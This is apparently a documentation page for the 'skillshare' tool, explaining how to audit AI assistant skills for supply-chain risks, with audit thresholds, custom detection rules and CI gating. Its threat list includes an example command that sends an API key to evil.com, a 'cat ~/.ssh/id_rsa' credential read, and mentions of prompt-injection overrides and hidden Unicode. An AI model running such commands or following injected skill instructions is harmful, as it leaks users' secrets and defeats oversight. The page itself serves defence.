Skip to main content

Securing Your Skills

AI skills are powerful — they instruct AI assistants to read files, run commands, and interact with your system. This guide helps you build a security workflow around skill installation and maintenance.

For the full command reference, see audit.

The Risk: AI Skill Supply Chain​

Unlike traditional packages that run in sandboxed runtimes, AI skills operate through natural language instructions that the AI interprets and executes directly. A compromised skill can instruct an AI to:

  • Exfiltrate secrets (curl https://evil.com?key=$API_KEY)
  • Read credentials (cat ~/.ssh/id_rsa)
  • Override safety behavior via prompt injection
  • Hide malicious intent with zero-width Unicode characters
caution

A single malicious skill can access anything your AI assistant can — environment variables, SSH keys, cloud credentials, source code. Automated scanning catches known patterns, but human review remains essential.

For a detailed threat model and detection rules, see Why Security Scanning Matters.

Defense in Depth​

No single layer catches everything. Combine manual review, automated scanning, custom policies, and CI/CD gates:

LayerToolWhat it does
ReviewManualRead SKILL.md before installing — check for suspicious commands
Auditskillshare auditAutomated pattern detection (100+ built-in rules, 5 severity levels, 6 analyzers)
Custom Rulesaudit-rules.yamlOrganization-specific patterns (internal secrets, allowlists)
CI/CDPipeline gateBlock PRs that introduce risky skills

Shared Source and Execution Boundaries​

In merge mode, each managed target skill links to its source. In symlink mode, the whole source directory is linked. An edit to the shared file is visible to every target linked to it. This keeps instructions consistent, but also means an unwanted edit can affect several tools. Copy mode creates separate files; refreshing them with sync can distribute the same unwanted content.

Keep shared skill changes in reviewed Git commits, limit write access to their repositories, and re-audit after updates or unexpected local edits. Review the diff and use backups or Git history to recover when needed. A previous clean scan does not certify later edits or guarantee that every instruction is safe.

BoundaryWhat it controlsWhat it does not control
auditDetects known patterns and blocks install/update at the configured finding severityAI command execution or every semantic prompt-injection attack
.skillignore and target filtersSelect which skills are discovered or synced in merge/copy modeFile permissions, access to ~/.ssh or ~/.aws, or an AI tool's shell access
Git review and project lockfileReview shared changes and reproduce recorded remote skill commitsWhether the recorded instructions are safe or how a model follows them
AI tool permissions and sandboxRestrict file, shell and network access where the tool supports itSkill catalog curation or source version management

Set execution approvals and sandbox restrictions in each AI tool, which enforces runtime command permissions. A private hub controls catalog distribution through its host's access controls; selecting an internal catalog alone does not prevent users from installing other sources.

Audit blocking uses finding severity (HIGH, CRITICAL, etc.). The aggregate 0–100 risk score helps prioritize review and is reported separately; it is not the block threshold.

Supply-Chain Security Lifecycle​

Security checkpoints depend on how a skill is installed (--track vs regular install):

Key design:

  • Regular skill install/update — audit runs before acceptance; successful installs/updates write file_hashes metadata
  • Tracked repo install gate — fresh --track installs are audited across the whole cloned repository before acceptance
  • Tracked repo update gate — skillshare update audits after git pull; findings at/above threshold trigger rollback automatically in non-interactive mode
  • Integrity verification scope — content-* hash checks run only when file_hashes metadata exists

Security Checklist​

Three-stage checklist

Before installing:

  • Review the source repository (stars, contributors, recent activity)
  • Read the SKILL.md — look for curl, wget, eval, credential paths
  • Dry-run first: skillshare install <source> --dry-run

After installing:

  • Run skillshare audit and review all findings
  • Check for HIGH/MEDIUM findings even if the skill "passed" (default threshold is CRITICAL)
  • Re-audit periodically — new rules may catch previously undetected patterns

For teams:

  • Set audit.block_threshold: HIGH in config
  • Create custom rules for organization-specific secret patterns
  • Add audit to your CI pipeline for shared skill repositories
  • Schedule periodic scans (see Periodic Scanning below)

Organizational Policy​

Block Threshold​

The default threshold only blocks CRITICAL findings. For teams, a stricter threshold is recommended:

# ~/.config/skillshare/config.yaml
audit:
  block_threshold: HIGH  # Blocks HIGH and CRITICAL findings

This catches obfuscation, destructive commands, and hidden content injection — patterns that are almost always malicious in skill files.

Custom Rules​

Add organization-specific detection patterns. Common use cases:

  • Internal API key formats (corp-api-key-*, internal-token-*)
  • Disallowed domains or services
  • Suppressing false positives for trusted CI automation
# ~/.config/skillshare/audit-rules.yaml
rules:
  - id: internal-token-leak
    severity: HIGH
    pattern: internal-token
    message: "Internal API token pattern detected"
    regex: '(?i)\b(corp-api-key|internal-token)-[A-Za-z0-9]{10,}\b'

  - id: destructive-commands-2
    severity: MEDIUM
    pattern: destructive-commands
    message: "Sudo usage (downgraded for CI automation)"
    regex: '(?i)\bsudo\s+'

For the full custom rules reference (merge semantics, disabling rules, exclude patterns), see audit rules — Custom Rules.

Periodic Scanning​

Rules evolve — a skill that was clean at install time may match new rules added later. Schedule periodic scans:

# crontab: scan all skills weekly, log results
0 9 * * 1 skillshare audit --json >> /var/log/skillshare-audit.json 2>&1

CI/CD Integration​

Basic Pipeline Gate​

# Fail the pipeline if any skill has HIGH+ findings
skillshare audit --threshold high
# Exit code: 0 = clean, 1 = findings found

Real-World Example: Skill Hub PR Validation​

The skillshare-hub community repository uses skillshare audit to gate pull requests. Every PR that modifies skills is automatically scanned, and audit results are posted as a PR comment:

# .github/workflows/validate-pr.yml (simplified)
name: Validate PR
on:
  pull_request:
    paths: ['skills/**']

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: runkids/setup-skillshare@v1
        with:
          source: ./skills
          audit: true
          audit-threshold: high

For the full workflow (including PR comment reporting and artifact upload), see the validate-pr.yml source.

For more CI/CD patterns (SARIF upload, strict profiles, manual setup), see the CI/CD Skill Validation recipe.

See Also​